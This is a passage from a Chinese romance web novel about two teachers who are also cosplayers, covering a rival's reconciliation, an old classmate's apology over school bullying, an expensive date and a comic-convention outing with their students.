“……放手就输了，”叶多青干脆也就承认：“我从小到大，就没怎么输过。” 在叶多青存在圈子里，她一定要做那个聚焦点，成绩，外貌，职业…… 至少现在除了感情以外，没有输过。 陶与晴，是和她一样的别人家的孩子，她要赢，就得和一个同样优秀的人在一起。 这是从小长大被灌输的念头，人生履历没有例外，所有人都告诉她，她要赢。 “但是感情里，”简璃为数不多的没有说什么攻击力强的话，似乎是想到陶与晴这个名字，就可以让他变得和对方一样温柔，“只想赢就错了。” 感情本就不是人生必经之路，也不是什么考试要做的试卷。 叶多青伸手取下自己编发的头绳，重新扎了个干净利落的马尾，说：“但我的人生差这一步才完美。” 简璃听到这儿，挑眉：“……谁告诉你的？” “……”叶多青一时间答不上来，沉默半晌说：“印象里，很多人吧，父母也一直在催。” 简璃反问：“那你想走这一步吗？” “……说实话，不太想，”叶多青也抬头去看书上的叶子：“我的事业还没到头，确实没这么多精力分给其他人，比起和谁牵手，我还是更喜欢握手术刀。” 简璃是感性不下去了，松嘴说：“我说你一个高学历高社会地位的高知分子，思想怎么跟着这么迂腐？明明你说的出来人话，想得通这个道，被其他人裹挟思想才是输了吧。” “……喂，”叶多青觉得他说的挺对，可是又不太愿意承认这点，说：“你和陶与晴也这么说话？” “当然不是，他又不需要我骂醒。” 他本来的样子就很好了。 叶多青骂他一句：“……双标狗。” “我干嘛要开导我自己的情敌，”简璃摇摇头：“你自己爱想通不想通。” “我干嘛要听我的情敌开导我？”叶多青也扭头：“我爱想通不想通。” 沉默。 一直到树上那片叶子掉了下来。 叶多青忽然开口：“……谈恋爱是什么感觉？” “不好形容，”简璃回答：“大概是哪怕在一起一句话不说，也不觉得无聊，而是觉得幸福。” “听起来就挺无聊的。” “爱情不就是一起做无聊的事情吗，有他在都不无聊。” “你才认识陶与晴多久啊，说的就和过了一辈子一样了，”叶多青摇头：“我是不信有这么多真爱的。” “没你久，但也不短，”简璃分给她一个眼神，说：“别的不敢说做的多好，但我实打实的陪了他八年。” “不腻？” “完全不腻。” 叶多青算服了。 她以前认为的爱情就是找个人结婚，然后过相敬如宾的日子，没事儿能带出去参加参加亲戚聚餐，给彼此长脸。 还以为简璃和陶与晴是刚谈所以热恋期，结果他们都认识八年了还不腻。 “算你厉害，”叶多青伸手把自己耳环也给取下来，带着怪别扭的，仔细想想自己确实不适合谈恋爱，“我还是多握几年手术刀吧。” “没人能逼你，”简璃看着二楼窗户，陶与晴已经和一个人聊起来了，换了个坐姿，说：“一辈子不谈也无所谓。” “那些亲戚不得背地里骂死我。” “那你就劝他们小心点，以后说不定要进你的手术室。” “？” 吃毒药长大的？ 你别说，这么一想还真是有点爽。 叶多青忽然释怀又无语的笑了一下，：“行，你这个朋友我今天还真交了。” 简璃：“不是很想和前情敌交朋友。” 叶多青翻了个白眼：“……结婚我随个大的，行了吧。” 简璃伸手：“这位朋友，欢迎来参加我们的婚礼。” 叶多青被迫和他握手，说：“……社会真该庆幸你是个老师啊。” 茶馆二楼，陶与晴似乎听见外面有动静，低头看了一眼，居然看见简璃和叶多青……握手言和？ 这是什么剧情发展，陶与晴看不懂了。 肖扬坐在他对面，说：“不好意思啊……我不太会说话，让你们误会了。” “不不，”陶与晴回过神来，摆摆手：“但我们确实遇到过很多不怀好意的人……” 肖扬之前那个样子，确实偷感太重了点。 这谁不怀疑他呢。 “我一直想找机会来着，也是最近在网上刷到了你，才知道你最近过的挺好的，不然我都不好意思来呢。” “……所以，”陶与晴疑惑：“为什么你要和我道歉呢。” “初中那个时候……我身材很不好，特别胖，”肖扬说到这个语气低沉下来，“经常被人拿来开玩笑……” 陶与晴却从不用有色眼镜看他，打招呼都是笑盈盈的，路过看见他不会写题，就耐心的停下教了他两次，还会默默的把贴在他背后的贴纸给拿掉…… 件件小事，肖扬不说陶与晴都不会记得的。 “你不记得很正常，对于你来说温柔这件事已经成习惯了吧，”肖扬不好意思的挠挠头，说：“而且你成绩又好长得又好看，现在还真的做了老师，肯定也不缺别人感谢你的。” 光是这些，陶与晴没听出来他有什么好道歉的。 “……这些也是我举手之劳的事情，”陶与晴说：“你为什么特意来找我呢。” 肖扬低着头，面对这个问题一时间不知道怎么回答，酝酿了很久才说：“……但是你被班里人欺负的时候，我却没敢站出来帮你说话。” “我当时是真的，真的很想帮你说话的，但是……我没敢，”肖扬指了指自己，说：“我一个成绩平平的胖子，当时想着不被人欺负就不错了……” “我没敢站出来，明明我坐的离你挺近的——我是真的想帮你，但是也是真害怕啊……后来我就一直过意不去这件事，长大以后不知道你过的怎么样，更不敢打听了，还好我刷到了那条视频，点赞还挺高的，我看评论区都是对你表白的，我想你过的应该挺好的，就问到了你在一中做老师。” 陶与晴听着听着，算是知道他为什么来道歉了。 他一笑，说：“没关系，都过去了，而且你也没错，保护自己没错的。” “……我就是过意不去，”肖扬说出来了，舒服多了，松了口气：“你不知道这些年我都不敢回学校，一回去我就想到你，想到你被他们嘲笑，我却坐在后面什么话都不敢说，我真是好窝囊。” “现在我说出来了，虽然为时已晚……但是我真的也很谢谢你，真的。” 聊了聊现状，陶与晴知道肖扬现在在一家企业当小领导，虽然平时面对自己的领导还是得窝囊着，但是好歹能赚点钱。 顺便知道了一些初中同学的动静，带头欺负他的那个人前几年没考上大学复读了，这几年都没什么动静，具体不知道干嘛去了，但肖扬说他在班级群里发过借钱的消息，被班长给踢了。 这倒是听起来大快人心，陶与晴很没礼貌的笑了，和他聊了好一会，想到有人还在外面坐着，才止住。 陶与晴走出来的时候，简璃还在外面等他，但是叶多青已经走了。 陶与晴笑着指了指简璃：“那个就是我男朋友。” “原来是……！”肖扬想起自己在校门口见过的那个人，现在想来微信上和自己聊天的估计也是这个人吧。 简璃站在一颗枯黄的大树底下，盯着这边看，但没有走上来。 他在耐心等陶与晴过去呢。 现在陶与晴有人护着，也是再好不过了，肖扬绷出一个老实极了的笑，又摸摸自己的后脑勺，说：“那你快去吧，改日我回祁城再请你吃饭。” “嗯，没问题，谢谢你和我说这些。” 肖扬朝另一个方向走了，陶与晴走向简璃。 “聊这么多，说了些什么啊，”简璃看了看肖扬离开的方向，拉起陶与晴的手，“有没有欺负你？” “没有，”陶与晴心情很好，说：“他是来道歉的。” 回去的路上，陶与晴把肖扬的话告诉了简璃，简璃听后也笑了笑，说：“那挺好，而且恶有恶报。” “虽然缺德，”陶与晴伸手打开简璃车上的音乐，让语音助手放了一首喜庆的，又说：“但是听见霸凌别人的人过的不好，还挺爽的。” 简璃看了看他，笑了笑，说：“必须的，所以老公今天请你吃好吃的怎么样。” “那我想吃法餐，最贵的那家。” “……” 陶与晴抬眼调笑：“怎么，养不起我？就这自称我老公。” 简璃无奈，心想陶老师怎么心情好也会翻旧账啊，“导航附近最贵的法餐厅。” 陶与晴其实也是开开玩笑的，看见那餐厅在祁城最高的建筑里，四面都是落地窗，还没进门，就拉着简璃说：“离玉老师，商量一下，我错了我不该开你玩笑，算了算了，太贵了吧。” “来都来了，扶光老师怎么怂了啊” “不不不……！” 还是坐下了。 陶与晴看了一眼那菜单，随便一道都是四位数的。 他马上关上了，宁愿自己没看过，并且想拉着简璃离开这个地方。 简璃打开菜单，点了几道，摁住陶与晴。 “约会呢，扶光老师认真点。” “……咱们非得来人均五位数的餐厅约会吗？” 陶与晴觉得路边的烧烤摊也挺好的啊。 “今天高兴，”简璃取下眼镜，笑着说：“再开瓶香槟吧。” …… 仪式感是拉满了，陶与晴抿了一口杯子里的唐培里侬。 ……这就是四千块的酒吗。 这不得好好的品一品，到底有什么区别。 餐厅里响起悠扬的小提琴曲，拉着小提琴的黑色长裙姑娘走到简璃和陶与晴旁边来。 金钱的音乐。 “资本”的挥霍。 陶与晴第一次直观的感受到，自己男朋友是个七年顶流coser的事实。 简璃正在思考可行性：“以后婚礼要不也按这个规格来吧。” 陶与晴差点把一口四千块的酒呛出来。 “……一定会破产的吧！” 坐在落地窗旁，简璃还提到之前让赵遇京他们带瑞瑞，结果几个臭小子拿着他的资金跑去吃了真法餐的事情。 陶与晴拿刀叉的手一顿：“……这么贵的？” “倒也不是，我怎么可能给这么多钱，”简璃说：“但是本来我是想让他给我剩回来的，谁知道最后还倒贴了一顿宵夜。” “……这么拼啊离玉老师，”陶与晴眼带笑意，说：“就为了给我个委托做礼物？” “是啊，这份礼物的价值一下子就贵起来了，”简璃看向他：“今年扶光老师情人节怎么还我呢？” “……这个，”陶与晴被问到了，低头吃菜：“我当然有计划了，你就等着吧。” 简璃笑道：“那我期待一下。” 这真是一个好问题啊！ 陶与晴心里几乎是瞬间一慌。 简璃这个人，其实搞浪漫是有一手的，生日送手办，情人节送委托，把他这个二次元拿捏的死死的。 简璃的生日一般是开开直播和粉丝过，单独送他他也不要的，互相之间都习惯了，去年就是这样，那时候陶与晴还不知道离玉是他呢，所以根本没送礼物。 情人节……更不用说了，陶与晴之前压根就和这个节日没关系。 这下好了，他完全不知道逢年过节该送什么礼物。 于是乎某天晚自习，陶与晴忍不住把这个问题抛出来问问学生们。 “你们觉得……逢年过节送什么礼物，收礼的人会很开心呢？” 学生们抬头。 那他们当然是非常乐意帮陶老师分担烦恼的，才不是想逃避一会作业呢。 “送钱！” “送金子。” “送花？送手工品？” 七嘴八舌之后，吴尽夏问：“对方喜欢什么呀陶老师？” “这个……”陶与晴不是没想过问问简璃，但是不知道为什么，他觉得简璃一定会回答——最喜欢他。 这问了和没问有什么区别？ 简璃好像也不买周边什么的，粉丝无料收的就很多了，而且他更喜欢老番和冷番，一谷难求的那种老和冷。 其他的，简璃好像没什么兴趣爱好。 之前问他，他说出c就是他的爱好。 总不能送他道具和c服吧，这和上班有什么区别。 “他没什么喜欢的东西啊，”陶与晴更犯难了，说：“你们觉得你们简老师喜欢什么？” 就这样直接的承认了吗？ 底下同学本来还不想说破的。 “简老师，”赵遇京撑着头：“难道不是喜欢让我们写卷子和抽背吗。” “嗯，”陶与晴点点头：“你说的很有道，那我去订一套语文卷子送给他……” “不不不陶老师！” “他不喜欢他一定不喜欢！” 赵遇京迅速道：“我胡说的啊陶老师，我胡说的。” 宁雨说：“您送什么都好。” 不少同学附议：“对啊对啊，陶老师送什么都喜欢。” “这样子真的很想敷衍哎……”陶与晴扶额：“谢谢，你们继续写作业吧，我自己再想想。” “是简老师要过生日了吗？” 邓留萤：“哎呀不是，简老师的生日三月份的。” “你为什么这么清楚啊？” “是啊，上次陶老师过生日你也知道？” 陶与晴：“……” “我……”邓留萤慌乱，道：“我当然、我当然是看过两个老师的资料了，你们都不把老师放在心上是吧！” 一招道德绑架让其他人不再怀疑了。 姜一安写完一张卷子，扶了一下眼镜：“心意最重要。” 吴尽夏也说：“陶老师你不要紧张，我们帮你打听打听呀。” 赵遇京：“这个好！我最喜欢打探……我最喜欢帮助老师了。” 陶与晴说实话有点不太信任这群古灵精怪的小家伙。 虽然他们是很年轻，很有活力，很可爱，很…… 但是也是真的很不靠谱啊。 于是，以赵遇京为首，莫名其妙创建了一个“打听简璃最想要的礼物”小分队的群。 陶与晴也在这个群里。 但是他真的是被迫的，他真的不想做这么中二的事情啊。 【帅哥赵遇京（群主）】：好！我们一定要知道简老师到底最想要什么礼物！ 【你的萤】：耶！！ 【无尽花会开】：（小心心）（小心心） 【姜一安】：……为什么我也在这个群里。 【雨】：…… 【陶与晴】：？ 好奇怪的斗志啊孩子们！ “什么东西这么好笑？”简璃扭头就看见陶与晴笑倒在沙发上。 “赵遇京。” 好吧。 简璃不意外了。 此时此刻另一个小群里。 【雨】：为什么我们不直接把陶老师拉进我们的群，而是要额外开一个群。 【你的萤来了】：哎呀小雨你太老实了，陶老师进了这个群，我们不就等于被老师盯上了吗？那还怎么聊天。 【小班长你快改群名！】：就是就是，那个群用完了解散就好了，这个群还要留着呢（墨镜） 【不改你跳吧（群主）】：这里貌似你俩最心虚吧。 【无尽花会开】：哈哈哈哈哈。 【你的萤来了】：哎嘿。 【小班长你快改群名！】：嘻嘻。 不过平时在学校，简璃是工作的状态，不好套话聊天，一连几天下来学生们都没什么收获，甚至还要提心吊胆的怕被发现他们有心在问。 陶与晴也只当陪孩子们玩玩而已，并没有真指望什么，过了一段时间那个群聊的事情也都不是以简璃为中心的事情了，逐渐偏离主旨。 他这个月还要做道具，空闲时间没几天，十月份当然有漫展邀请了离玉，列表里的其他单主也蹲了陶与晴好久了。 陶与晴周末在简璃家的工作间待一天。 简璃也不打扰他，偶尔路过门口，就想进去看看。 然后被陶与晴推出来，说里面有毒气体多不戴口罩不准进。 国庆节前夕。 【帅哥赵遇京（群主）】：要不然国庆节陶老师你把简老师约出来，我们一起出去玩吧？还没想好国庆节干什么呢。 赵遇京这个提议，就连宁雨都有点心动了。 他假期基本上是在饭馆里打零工，没怎么出去玩过。 【雨】：可以吗？ 陶与晴咂咂嘴，心软了。 考虑到都是他的学生，几个孩子都挺听话的，陶与晴也就没找其他借口。 【陶与晴】：国庆节——简璃有漫展，我要去陪他。 【你的萤】：！！ 【你的萤】：陶老师我们能和你一起去漫展吗求求了！ 【无尽花会开】：啊，其实我也刷到了一点视频来着，但是没敢说，简老师真的是陶老师喜欢的那个coser吗？也太巧了（小花花） 【陶与晴】：对，大家要是想去玩的话，我买票吧，但是到时候要跟着我不能走丢哦。 【帅哥赵遇京（群主）】：我去我去啊！但是我这次一定不要在签售台上写作业，不然我会抱憾终身的，求求了。 第60章 【姜一安】：什么coser。 邓留萤和赵遇京七嘴八舌的给姜一安解释了一下，姜一安大概明白了。 【帅哥赵遇京（群主）】：总之，简老师和陶老师是大明星。 陶与晴时不时看一眼他们聊天。 那倒也是不至于。 真是大明星多影响工作啊。 【雨】：陶老师做什么都好。 【无尽花会开】：简老师也好，喜欢简老师！ 【你的萤】：你们已经开始分成不同粉圈了嘛！ 【姜一安】：你又是什么粉？ 【你的萤】：我当然是cp粉，陶老师和简老师百年好合长长久久，我出生了。 两个她都喜欢，要是能在她面前莫名其妙亲一下就更喜欢了！ 【帅哥赵遇京（群主）】：我不是粉。 【帅哥赵遇京（群主）】：我感觉我才是他们儿子（融化）（融化）。 【姜一安】：确实。 【你的萤】：确实。 【雨】：确实。 …… 【帅哥赵遇京】将群主转移给【陶与晴】。 【陶与晴（群主）】：？ 【帅哥赵遇京】：孝敬您的。 好一个孝敬。 …… 国庆的漫展，简璃本来给陶与晴工作证，想让他和自己一起提前进去的。 但是陶与晴说要去带孩子，所以拿了工作证就得走了。 简璃才知道赵遇京他们几个也要过来。 “好吧，”他有些委屈的看向陶与晴：“那一会还来看我吗？” “看啊，”陶与晴给他顺顺毛，“一会带他们一起过去。” 他凑过去蹭蹭简璃的脸，陶与晴特别喜欢这个动作，感觉简璃就像个大型猫科动物，喜欢他身上的味道。 虽然现在自己身上和他身上是一个味道就是了。 最后简璃讨了个亲亲，两个人就分开走了。 旁边的工作人员刚来就看见他们在贴贴，使劲憋着没出声尖叫，看两个人分开了才走过去招呼。 “玉光……啊不是不是，离玉老师，这边走。” 她都嗑疯了，差点脱口而出一些奇怪的东西。 网上说的都没错，玉光真的是真的。 太纯爱了，太纯爱了，这是她能现场看的吗！扶光老师为什么走了啊，能不能多亲两口！ 陶与晴低头看手机，赵遇京他们都在前门的检票口等着。 他走过去差点没认出来。 邓留萤穿了一套白色的lo裙，正在帮吴尽夏拿道具，吴尽夏出的一个游戏女角色，白色双马尾，道具是一朵特别大的铃兰花。 她还挺害羞的，邓留萤鼓励她，两个姑娘贴在一起说悄悄话。 男生们站在旁边，赵遇京出的古装角色，负手而站，看起来气质凌然，像个真侠士，宁雨大概是被他拉着，出的和他一个ip的角色，黑衣黑面罩，酷酷的。 盯着赵遇京的眼神也挺像个真刺客的。 姜一安显然是狠心的拒绝了赵遇京的软磨硬泡，穿的常服出门，不过担任了拿东西的任务。 “你们这是……”陶与晴很惊喜的走过去，高中的孩子已经长开了，宁雨和赵遇京都快比他高了，穿起c服来还真有那味。 “惊喜！陶老师，”邓留萤说：“我们为了和你逛漫展，约了妆娘和毛娘，还特意准备了无料！” 她跑到姜一安那里把包里的东西拿出来，是用信封封好的，里面乱七八糟的什么都有，有心准备好的。 陶与晴觉得他们几个真是太可爱了，收下信封忍俊不禁：“怎么不叫我给你们弄啊。” “您太贵啦，”吴尽夏抱着铃兰花，说：“我们财力有限。” “老师怎么会收你们钱，”陶与晴笑了：“当然给你们免费。” “不行，”宁雨说：“要尊重陶老师的劳动成果。” 姜一安也点头，说：“您平时很忙，我们就不添麻烦了。” 陶与晴看他们这一身应该不便宜，看了看宁雨：“都是你们自己买的吗。” 邓留萤说：“c服是租的啦，毛娘是我本人——看您的教程学的，虽然造型很简单但是已经不错啦……妆是杨以心画的，她说要补课就不和我们来了，怎么样还行吧？” 陶与晴暗自动容，其实他走上手作这条路，也是高中的时候一个女同学被毛娘跑单了，陶与晴帮她临时弄了弄，意外的还不错，打开了新世界的大门。 忽然觉得少了点什么。 看了下不远处站着，板着一张脸的赵遇京。 “他这是……怎么了？” 宁雨说：“他说他要做一个冷酷的人。” 吴尽夏补充：“因为他的角色是个万人之上的冷漠大侠。” 姜一安总结：“没活硬整。” “啊——”陶与晴决定尊重孩子的选择，说：“那我们先进场吧。” 刚才在外面就有好些人找他们集邮了，进场了更是，宁雨比陶与晴还不会拍照，特别僵硬，但也意外的符合他的角色。 邓留萤一进去就给吴尽夏狂拍照片，嘴里还一直嘿嘿嘿的碎碎念。 “小夏，可爱啊啊嘿嘿嘿，看我看我，啊啊啊嘿嘿嘿。” 邓留萤拍了几十张照片，一边翻一边说：“这个世界没有女孩子可怎么转啊，嘿嘿嘿小夏嘿嘿。” 宁雨略带惊恐的看了她一眼：“……你果然是女变态吧？” “差点忘了，”邓留萤指挥道：“过来过来，给你也拍点场照，难得一起来玩嘛。” “我不……！” 刚才邓留萤硬控了吴尽夏十几分钟他可看在眼里。 “快快快……小雨别跑！站住！” 穿着lo裙的邓留萤举着手机追着黑衣古装的宁雨跑，那边正气凛然的赵遇京真就一句话都没说，惹来姜一安意外的目光。 还以为这家伙肚子里憋不住半点香油呢。 吴尽夏又和一个人合了影，走到陶与晴旁边。 “陶老师，”吴尽夏拿出手机说：“我想和你也合个影可以嘛。” “当然可以了，”陶与晴欣然答应，说：“你今天特别好看，自信点。” “啊谢谢陶老师！” “扶光老师！”陶与晴这边和吴尽夏站在一起被人发现了，“啊啊真的是扶光，我就知道离玉来了您肯定也来了，我可以要个签名吗？” “扶光大大，这是我的无料请你收下吧，还有旁边出文花的老师，这个给你。” “扶光！啊我见到真的了，我也想合影。” “哎旁边那个小哥哥出的是剑臣吗？好帅呀，可以集邮吗？” 赵遇京：“可以。” “哇，你出的好还原啊，这个无料给你。” 赵遇京：“多谢。” “啊啊啊，不客气不客气。” ……他？ 在场的其他三人沉默了。 他还装上了居然？ 接连有好几个都被他的外貌欺骗，对着赵遇京疯狂称赞，觉得他简直就是剑臣本臣。 不不不，冷静啊姑娘们，这孩子和冷酷大侠真的一毛钱的关系也没有啊。 不知道为什么，明明赵遇京这次什么都没做，但是陶与晴更想笑了。 但是陶与晴又有点担心起来，是不是平时开着孩子玩笑开多了，他心里不太平衡啊？ 要不然以后还是…… 实则赵遇京被围着夸，心里暗爽，哈，他今天一定要做一个冷酷的男…… “哎哟！雨哥你踹我干嘛？” “把你身上的脏东西踹出来，”宁雨实在看不下去，说：“别整这死出。” “我这好不容易忍住的哎，你知道我多想说话吗，”赵遇京被踹回原型，终于绷不住打哈哈：“有辱斯文，简直有辱斯文啊，小班长你管管！” 姜一安拍拍宁雨的肩膀：“妙手回春。” 宁雨：“承让。” 邓留萤：“哈哈哈哈哈……” “你们同流合污，那陶老师管……” 陶与晴听见赵遇京开口说话，顿时松了口气说：“舒服多了。” 赵遇京：“？陶老师，您也……！” 这叫什么事儿，他就不能当一天冷酷男人吗？ 邓留萤走过去，对着赵遇京指了指被人集邮的宁雨，压低声音恶魔低语：“你费尽心思凹的人设，人家根本不用凹。” 赵遇京含恨摇头：“谢谢，破防了，不录了。” 姜一安推了推眼镜：“知道海为什么是蓝色的吗” 姜一安：“因为遇鲸（京）在吐泡泡，blue，blue。” 赵遇京还真的莫名其妙笑了一下：“噗嗤。” …… …… ……？ 其他所有人欲言又止。 赵遇京捂住脸：“人在无语的时候会笑的，真的。” 陶与晴也绷不住了，揉了揉姜一安的头：“……我们接着逛逛吧。” 姜一安微不可查的叹气。 怎么没人能懂他的幽默。 为自己的无语干杯.jpg 毕竟他们还是青春期的孩子，比较有活力，在漫展上特别容易跑丢。 陶与晴盯着他们的同时还要被粉丝抓住集邮。 通常是合了照，伸手抓回来一个赵遇京或者邓留萤。 一个被整活吸引想参与，一个被周边吸引想剁手。 冷静啊。 “扶光老师！” 一个熟悉的声音，陶与晴回头，果然是飞雪！ “飞雪，”陶与晴和他打招呼：“你怎么没说你要来啊？” “我本来要去另一个展子的啦，”飞雪走过来说，“但是我今天约的整活搭子忽然生病了，我就想着干脆来个近一点的咯……哎你后面这些是？” “都是我学生，”陶与晴侧身说：“这是飞雪，圈里的朋友。” 邓留萤：“我我，我刷到过你的视频！飞雪老师，上次被不小心拿走外套那个对吧？” 陶与晴：“咳咳，这个事情就不必提了吧留萤。” 邓留萤：“哈哈哈不好意思。” 这个事儿太印象深刻了。 飞雪和几个孩子打招呼，他们年龄差不了几岁，陶与晴感觉自己的托儿所又加一员。 “飞雪啊！”赵遇京说：“我知道，我也刷到过，你那个摘香蕉被猴子霸凌的视频！” “你是……赵遇京？你就是那个漫展上写作业的！” “我这么火吗！” “包的啊。” 两个人简直是相见恨晚，迅速打成一片。 姜一安预感到了什么，说：“这下有人陪他胡闹了。” 虽然飞雪和赵遇京出的不是一个IP的角色，但是并不妨碍他俩整活。 于是拉上了宁雨，拍小段子去了。 并且宁雨什么都不用干，站在那本色出演嫌弃的表情就行了。 陶与晴扶额。 看吧，他就说飞雪和赵遇京合得来吧。 就是有点废宁雨。 两个老六！不要拉着他搞抽象！ 然后陶与晴就带着他们走到简璃一会的签售位附近了。 他还没出来，陶与晴又不放心把孩子们单独放在外面，那种工作牌进后台也不是，不进后台也不是。 “陶老师您去吧，”姜一安说：“我看着他们。” “这……”陶与晴确实想去看看简璃，犹豫了一下，说：“那你们要注意安全。” 要是一两个跟他来，他倒是也不会看的这么紧。 但是这几个凑到一起，就和一群出羊圈四处跑的羊一样…… 还加上个飞雪，更不放心了。 “嗯，您去吧。” ……他就离开一会，希望姜一安能拉得住。 陶与晴转身还没走几步，听见后面传来一声。 “警告一次，第二次再乱跑的全部记名字。” 不光是赵遇京他们，半个范围内的人都吓住了。 效果立竿见影啊。 陶与晴用工作证进门，简璃刚从休息室走出来，正在和工作人员说什么，这次的妆娘还是上次见过的小苏打，她看见了陶与晴，热情的打招呼。 “扶光老师，你来啦。” 简璃扭头，看见陶与晴就笑了，和工作人员说了两句，走过来。 “那群孩子呢。” “在外面呢，我进来看看你，”陶与晴帮他把头发上一点泡沫塑料拿下来，说：“这么帅啊离玉老师。” “可惜化了妆，”简璃拉拉他的手：“不能亲了。” “那你只好忍忍了，”陶与晴笑了，然后想起来了旁边还有人，收敛笑意：“嗯……” 小苏打迅速拿起化妆箱，说：“我先走了两位老师，这就走。” 她走的时候笑的脸都红了。 上次看玉光还没在一起的样子。 这次就这么甜了。 恭喜离玉老师七年执着抱的美人归！ 陶与晴有点不好意思：“把人家都吓跑了。” “她那是吓跑的吗，”简璃可太了解这些小姑娘了，“她那是故意的。” “好了好了，你要出场了吧，快点去吧。” “好，我结束以后陪你们。” “嗯嗯。” 简璃签售毕竟是工作，陶与晴就来看看他，虽然舍不得，也没去多打扰，况且还有一群孩子他得盯着。 回去以后带着几个人去别的地方逛，等简璃结束。 “真可惜，”赵遇京说：“还想正儿八经看看营业的简老师的呢。” 上次在签售台上写作业赵遇京耿耿于怀，一直想二战简璃。 看他念念不忘的样子，陶与晴只好说：“好吧，现在也快结束了，带你过去看看吧。” “好耶！”赵遇京欢呼。 宁雨：“你不是冷酷吗。” “冷酷不了一点，”赵遇京和宁雨勾肩搭背，说：“到时候就我们过去，都别说话，看看简老师能不能认出来我们，如果他没认出来，我们就一起嘲笑他。” “……” 宁雨再次不情不愿的被拖过去了。 飞雪感叹：“年轻真好啊，想到我当年了。” 陶与晴无奈的看他一眼：“你的高中时代，也就一两年前吧。” “啊哈哈哈，对哦。” 说起这个，陶与晴才是。 对于他来说，高中已经过去了快十年了。 一眨眼的事情，现在看见这些孩子这么有活力，还真有点感触。 “好吧，”赵遇京都拉着宁雨走了，陶与晴说：“你们也去随便逛逛吧，不用跟着我了，去玩吧，但是一会要去签售位那边集合。” “那陶老师等等我们马上回来！小夏走走走，我看中一个立牌可好看了，陪我去看看。” “好呀好呀。” 邓留萤拉着吴尽夏去摊位那边了，飞雪也伸了个懒腰，说：“那扶光老师，我去找找我列表，先撤了。” “嗯，拜拜。” “改日一起吃饭！” 陶与晴挥手，目光落在身边的姜一安身上。 “一安，不和他们去玩吗，”陶与晴笑着说：“或者这里有没有你喜欢的，老师买点送你，你平时帮了这么多忙。” “……没有，”姜一安比起来玩，更像是单纯陪朋友和老师的，说：“我陪您等就好。” 想到一开始，姜一安还闷闷的，一年过去，倒是会和那群小子插科打诨了。 还以为姜一安是那种小古板的性格，一开始和简璃站在一起，感觉再来个同类他们就能三消。 后来陶与晴发现，这孩子有点冷幽默在身上的。 “那我们去看看赵遇京他们吧。” “嗯。” 简璃的签售台，人已经少了很多了，因为要结束了。 不过还是有很多人盼着最后的时间能进去合照一下。 赵遇京也不和他们抢位置，就站在签售台边缘出，假装路过的没事人。 要是简老师认不出来他，他算扳回一城了。 宁雨半边脸遮着面罩，自己这一身更是和平时大不相同。 到时候忽然冒出去吓他一跳，这下轮到简老师尴尬了吧。 他就不信简老师认得出…… “赵遇京。” 赵遇京背影一僵。 “站在那干什么呢，”简璃刷刷签完名字，放下笔，说：“带着宁雨干坏事？” ……他是怪物吧！？这都认得出？ 赵遇京尴尬转身：“不是……简老师您怎么认出来的啊！” “你小子很难认不出来，”简璃看着他说：“拉着宁雨干嘛呢。” 宁雨毫不客气的招供：“赵遇京说，如果您认不出来他就可以嘲笑你。” 简璃招手：“过来，给我当助。” 赵遇京低头：“哎，喳。” 陶与晴和姜一安过来就看见赵遇京在帮简璃收拾桌子，苦哈哈的表情。 宁雨在旁边站着，一动不动，跟个路标似的。 “他们不是来吓唬你的吗，”陶与晴站在围栏外面，笑着说：“怎么改清洁工了？” “就他，太嫩了，”简璃也差不多签完了，揉了揉手腕，语气一变笑着说：“过来等我，收拾好了就走。” 赵遇京无语凝噎，心想简老师现在双标是演都不演了。 围栏外面的嗑学家察觉到了什么，纷纷打开手机开始录视频。 玉光同框！那和晋江了有什么区别。 四舍五入他们晋江……然后把晋江再晋江……最后晋江晋江晋江—— 陶与晴是不知道背后哪群女生脑子里都是什么黄色废料，走到签售台旁，欣赏了一下简璃今天的造型，觉得赏心悦目。 他绕着简璃转了两圈，说：“这么好看，怎么生的啊。” 简璃觉得他围着自己转圈圈的样子很可爱，说：“你也好看。” 赵遇京在旁边收拾各种无料，还要被近距离塞狗粮，可他又不是嗑cp的那些女生，敢怒不敢言。 大概简璃天生克他。 他雨哥和小班长站在旁边聊天怎么也不知道帮帮他，没有兄弟爱！ 姜一安精准猜出，说：“我们不好抢了你的活，加油。” 宁雨抱臂点点头：“嗯。” 赵遇京唉声叹气，觉得自己最近几年都要远离漫展签售台了。 谁知道里面坐着的会不会是一眼就把他认出来的老师呢，玩不过。 简璃和陶与晴说：“腿走累了没，一会是再逛逛，还是先吃饭？” “先吃饭吧，饿了。”陶与晴在他旁边，欣赏自家男朋友兼未来大概率也是老公的简老师那盛世美颜，心里也是有点小自私了。 还是不要放这样的离玉老师在漫展里面瞎晃悠了吧，很容易被围的水泄不通的。 “好，听你的。” 简璃这身穿的正经，这个角色有一股公务员的班味，加上他表情一直绷的很好。 陶与晴左看看右看看，看不出他家简老师表情的破绽。 好像每次都这样，显得自己很不矜持。 于是奇怪的胜负欲增加了。 陶与晴看了看不远处一边收拾桌子一边聊天的三人，又看了看已经被工作人员拦出去的粉丝，做了一下心建设。 凑近简璃的耳朵。 “老公真帅。” 赵遇京听见旁边一个响声，是简璃拍了一下签售台的桌子。 然后非常稀奇的，他看见简璃的脸红温了。 而且嘴角都快压不住了。 简老师怎么熟了啊？ “你看见了吗？扶光刚刚和离玉咬耳朵了！说了什么！” “看见了看见了，玉神都丧失表情管了，到底说了什么啊！！” “我第一次看见离玉脸红成这样的。” “好想钻过去听他们的悄悄话！” 罪魁祸首在旁边笑的很欢，他刚才还担心简璃会反杀回来呢，刚还有点难为情，现在一点都不了。 陶与晴！赢！ ……主要是这太突然了！ 比陶与晴之前莫名其妙亲他还突然！ 简璃完全宕机，温度降下来一点以后，暗爽想笑又想憋着笑，红着耳朵认命一般说：“先……先吃饭吧。” 60-63 第61章 赢——！ 其实他也没说什么过分的话。 但是简璃这个绷不住的笑，飞进现场的姑娘脑子里，就能衍生出一系列剧情了。 各大嗑cp群迅速传开了。 【小情侣你们到底说了什么！！让我听听！】 【有什么是我们不能听的，大家都这么熟了还拿我们当外人！】 【盲猜一个扶光老师说回去“奖励”离玉老师，离玉老师红温了。】 【do过了吧do过了吧这是do过了吧】 【肯定是荤话，我们扶光老师原来是钓系吗？！啊啊啊】 冤枉，简璃可以作证。 陶与晴就是很简单的撩了一下而已。 但是为什么从陶与晴嘴里说出来他就这么招架不住呢。 “简老师！”邓留萤和吴尽夏从远处走过来，邓留萤说：“我们准备了无料，送给你。” 简璃接过，点头说了谢谢，然后和粉丝给的放在一起装回去。 赵遇京意识到什么，拎着一堆东西抬头：“所以简老师请客吃饭吗？” “上次你吃掉我几千块，我还没找你要呢，”简璃给了赵遇京一拳头，说：“只能吃便宜的啊。” 